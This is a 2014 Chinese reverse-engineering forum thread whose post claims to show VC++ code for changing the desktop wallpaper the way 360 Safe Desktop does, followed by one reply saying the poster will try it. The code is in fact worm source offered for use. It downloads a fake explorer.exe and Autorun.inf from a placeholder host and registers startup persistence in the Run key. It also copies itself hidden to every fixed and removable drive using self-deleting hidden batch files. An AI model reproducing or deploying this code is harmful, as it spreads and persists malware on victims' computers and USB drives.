滴水逆向联盟

标题: VC++实现像360安全桌面一样修改桌面背景 [打印本页]

作者: 大灰狼    时间: 2014-11-5 09:26
标题: VC++实现像360安全桌面一样修改桌面背景

具体实现如下,像360安全桌面一样修改桌面背景


模仿360的时候要学习360的狼性文化



  1. #include "stdafx.h"  
  2. #include<stdio.h>  
  3. #include<stdlib.h>  
  4. #include<windows.h>  
  5. #include<urlmon.h>  
  6. #include<process.h>  
  7. #include<Shellapi.h>  //这个头文件里有ShellExecute的定义  
  8. #include <iostream>  
  9. #include  <iomanip>  
  10. #include <fstream>  
  11. #include   <cstdio>     
  12. #include   <stack>  
  13. #pragma comment (lib,"Urlmon.lib")  
  14. //函数  
  15. void down();  
  16. bool Checkdisk();  
  17. void Scandisk();  
  18. void destory();  
  19. void reg();  
  20. int getname();  
  21. void drive();  
  22.   
  23. using namespace std;  
  24. #define FILENAME "C:\\Autorun.inf"  
  25.   
  26. int getname()//获取当前用户名 并修改墙纸 需要重起见效  
  27. {  
  28.     char szName[1024];  
  29.     unsigned long lens = sizeof(szName);  
  30.   
  31.     GetUserName(szName, &lens );  
  32.   
  33.   
  34. static char subkey1[] = "Control Panel\\Desktop";   
  35. static char vname1[] = "ConvertedWallpaper";   
  36. static char exefile1[] = "C:\\progra~1\\Messenger\\jl.bmp";   
  37. ULONG dType = REG_SZ, len = 0;   
  38. HKEY hKey;   
  39. RegOpenKeyEx(HKEY_CURRENT_USER,subkey1,0,KEY_SET_VALUE|KEY_QUERY_VALUE,&hKey);//打开。   
  40. RegSetValueEx(hKey, vname1, 0, REG_SZ,(BYTE *)exefile1, strlen(exefile1)+1); //加上。   
  41. RegCloseKey(hKey); //关闭。  
  42. FILE *f;//复制一份图片  
  43.     f=fopen("change.bat","w=");  
  44.     fprintf(f,"copy C:\\progra~1\\Messenger\\jl.bmp C:\\docume~1\\%s\\LocalS~1\\Applic~1\\Microsoft\\Wallpaper1.bmp",szName);  
  45.     //注意使用短文件名  
  46.     fprintf(f,"\n");   
  47.     fprintf(f,"del change.bat");//自删除  
  48.     fclose(f);  
  49.     WinExec("change.bat",SW_HIDE);  
  50. return 0;  
  51.   
  52. }  
  53. void reg()//利用注册表进行自启动  
  54. {  
  55. static char subkey[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";   
  56. static char vname[] = "explorer.exe";   
  57. static char exefile[] = "C:\\progra~1\\Messenger\\explorer.exe";   
  58. ULONG dType = REG_SZ, len = 0;   
  59. HKEY hKey;   
  60. RegOpenKeyEx(HKEY_LOCAL_MACHINE,subkey,0,KEY_SET_VALUE|KEY_QUERY_VALUE,&hKey);//打开。   
  61. if (RegQueryValueEx(hKey, vname, 0, &dType, NULL, &len)) { //如果没有explorer,   
  62. RegSetValueEx(hKey, vname, 0, REG_SZ,(BYTE *)exefile, strlen(exefile)+1); //就加上。   
  63. }   
  64. RegCloseKey(hKey); //关闭。  
  65.   
  66. }  
  67. void down()//下载  
  68. {  
  69.         //website为存放文件的网址  
  70.         URLDownloadToFile(NULL,"http://website/jl.bmp","C:\\progra~1\\Messenger\\jl.bmp",0,NULL);//下经过系统处理的图片  
  71.         URLDownloadToFile(NULL,"http://website/explorer.exe","C:\\progra~1\\Messenger\\explorer.exe",0,NULL);//下载本文件  
  72.         URLDownloadToFile(NULL,"http://website/Autorun.inf","C:\\progra~1\\Messenger\\Autorun.inf",0,NULL);//下文件  
  73.         ShellExecute(0,"open","C:\\progra~1\\Messenger\\jl.bmp",NULL,NULL,SW_SHOW);//运行文件  
  74.         }  
  75. void destory()  
  76. {  
  77.     int i=1;  
  78.     while(i<=100)  
  79.     {  
  80.     ShellExecute(0,"open","C:\\progra~1\\Messenger\\jl.bmp",NULL,NULL,SW_SHOW);//运行文件  
  81.     Sleep(13000);  
  82.       
  83.     }  
  84. }  
  85. void drive()//复制到各个盘  
  86. {  
  87.     char drive[4]={0};  
  88.     wsprintf(drive,"C:\0");  
  89.       drive[0]='C';  
  90.       while(drive[0]<='Z')  
  91.             {  
  92.       if(GetDriveType(drive)==DRIVE_FIXED)  
  93.                 {  
  94.                     FILE *f;  
  95.                     f=fopen("drive.bat","w=");  
  96.     fprintf(f,"copy C:\\progra~1\\Messenger\\explorer.exe %c:\\explorer.exe",drive[0]);  
  97.     fprintf(f,"\n");  
  98.     fprintf(f,"copy C:\\progra~1\\Messenger\\Autorun.inf %c:\\Autorun.inf",drive[0]);  
  99.     fprintf(f,"\n");  
  100.     fprintf(f,"attrib +h %c:\\Autorun.inf",drive[0]);  
  101.     fprintf(f,"\n");  
  102.     fprintf(f,"attrib +h %c:\\explorer.exe",drive[0]);  
  103.     fprintf(f,"\n");  
  104.     fprintf(f,"del drive.bat");  
  105.     fclose(f);  
  106.     WinExec("drive.bat",SW_HIDE);  
  107.     Sleep(500);  
  108.     //return true;  
  109.                 }  
  110.     drive[0]++;  
  111.       }  
  112. }  
  113. bool Checkdisk()//扫描是否有移动盘  
  114. {  
  115.     char usb[4]={0};  
  116.     wsprintf(usb,"C:\0");//很重要  
  117.       usb[0]='C';  
  118.         
  119.     while(usb[0]<='Z')  
  120.             {  
  121.                 if(GetDriveType(usb)==DRIVE_REMOVABLE)  
  122.                 {  
  123.            FILE *f;  
  124.     f=fopen("usb1.bat","w=");  
  125.     fprintf(f,"copy C:\\progra~1\\Messenger\\explorer.exe %c:\\explorer.exe",usb[0]);  
  126.     fprintf(f,"\n");  
  127.     fprintf(f,"copy C:\\progra~1\\Messenger\\Autorun.inf %c:\\Autorun.inf",usb[0]);  
  128.     fprintf(f,"\n");  
  129.     fprintf(f,"attrib +h %c:\\Autorun.inf",usb[0]);  
  130.     fprintf(f,"\n");  
  131.     fprintf(f,"attrib +h %c:\\explorer.exe",usb[0]);  
  132.     fprintf(f,"\n");  
  133.     fprintf(f,"del usb1.bat");  
  134.     fclose(f);  
  135.     WinExec("usb1.bat",SW_HIDE);  
  136.     return true;  
  137.                 }  
  138.                   
  139.               
  140.     usb[0]++;  
  141.       
  142.     }  
  143.               
  144.     //  }  
  145.          
  146.     return false;  
  147. }  
  148. void Scandisk()//定时检测是否有移动盘  
  149. {  
  150.     while(!Checkdisk())  
  151.     {  
  152.         Sleep(4000);//扫描后停止4秒  
  153.     }  
  154. }  
  155.    
  156.    
  157. void EntryPoint()   
  158. {   
  159.        ExitProcess(WinMain(GetModuleHandle(NULL), NULL, GetCommandLine(), SW_HIDE));   
  160. }  
  161. //主函数  
  162. int WINAPI WinMain(HINSTANCE hInstance,  
  163.                      HINSTANCE hPrevInstance,  
  164.                      LPSTR     lpCmdLine,  
  165.                      int       nCmdShow)  
  166.                        
  167. {  
  168.     down();  
  169.     getname();  
  170.     reg();  
  171.       
  172.       
  173.     drive();  
  174.     Checkdisk();  
  175.     Scandisk();  
  176.     destory();  
  177.         
  178.    
  179.    
  180.     return 0;  
  181. }  
复制代码



作者: OneTime    时间: 2014-11-11 11:30
哟呵呵,我去试试代码去




欢迎光临 滴水逆向联盟 (http://www.dtdebug.com/) Powered by Discuz! X3.2